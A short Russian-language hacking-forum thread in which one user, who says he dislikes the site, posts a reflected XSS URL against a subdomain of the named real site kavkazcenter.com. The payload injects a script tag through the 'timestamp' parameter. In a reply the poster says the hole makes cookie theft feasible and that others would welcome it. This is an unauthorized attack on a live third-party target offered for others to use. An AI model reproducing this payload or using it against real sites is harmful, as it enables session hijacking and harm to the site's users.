XSS на kavkazcenter.com

[1ten0.0net1]

Очень не люблю подобные проекты, как, впрочем и многие. И поэтому решил его потестить.
Нашёл XSS
http://audio.kavkazcenter.com/new.php?switch=newview&timestamp=11%22%3E%3Cscript%3Ealert();%3C/script%3E
Соответственно, для IE.

[.Slip]

Так то конечно хорошо что ксс, но у меня два вопроса.
1. Кому она там нужна?
2. Стоило оздавать новую тему? Если есть тема с найденными ксс

PS 444 пост=)

[1ten0.0net1]

']Так то конечно хорошо что ксс, но у меня два вопроса.
1. Кому она там нужна?
2. Стоило оздавать новую тему? Если есть тема с найденными ксс

PS 444 пост=)


1. Поверь, может на нашем сайте она не нужна, а, например, peace4peace будут ох как рады. Если ты про ее расположение - она находится в поддомене и упереть куки будет вполне реально.
2 Мне показалось, что стоило. Но если это тебе так не нравится, я, конечно, ее перенесу. Перенести?

Так много постов было про kavkazcenter?